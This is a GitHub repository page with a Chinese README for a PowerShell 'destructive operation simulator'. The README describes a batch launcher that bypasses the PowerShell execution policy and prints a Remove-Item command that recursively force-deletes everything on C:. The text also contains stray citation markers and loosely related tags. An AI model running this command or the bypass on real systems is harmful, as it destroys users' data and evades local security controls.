hazedxz/Powershell-TotalClean

GitHub: hazedxz/Powershell-TotalClean

一个概念验证性质的 PowerShell 破坏性操作模拟脚本,用于在隔离环境中演示执行策略绕过与递归文件删除的攻击原理。

Stars: 0 | Forks: 0

# PowerShell 破坏性操作模拟器 **严重警告:这是一个破坏性脚本。** 本代码库包含一个 PowerShell 脚本,旨在递归删除主系统驱动器 (`C:\`) 上的文件。它严格仅用于教育目的以及在隔离的非生产环境(例如,一次性虚拟机)中进行的授权安全测试。请勿在包含重要数据的任何系统上执行此脚本。 ## 概述 本项目演示了如何以破坏性的方式使用 Windows 内置的管理命令。它重点介绍了攻击性安全和系统管理中的两个核心概念: 1. **执行策略绕过:** 通过批处理包装器使用 `-ExecutionPolicy Bypass` 标志来绕过本地的 PowerShell 执行限制 [cite: 3, 4]。 2. **破坏性文件操作:** 利用带有递归和强制参数的 `Remove-Item` cmdlet 来模拟灾难性的 payload。 ## 代码库内容 | 文件 | 用途 | | :--- | :--- | | `TotalClean.ps1` | 核心 PowerShell 脚本。它会改变控制台外观,启动用于视觉效果的倒计时序列,并执行递归删除命令。 | | `LaunchClean.bat` | 一个批处理启动器,旨在标准控制台窗口中以绕过执行策略的方式执行 PowerShell 脚本 [cite: 3, 4]。 | ## 技术分析 该脚本的核心功能依赖于以下命令: ``` Remove-Item -Path C:\* -Recurse -Force -ErrorAction SilentlyContinue ```
标签:AI合规, IPv6, Libemu, OpenCanary, PowerShell, 安全, 数据展示, 概念验证, 破坏性载荷, 红队, 超时处理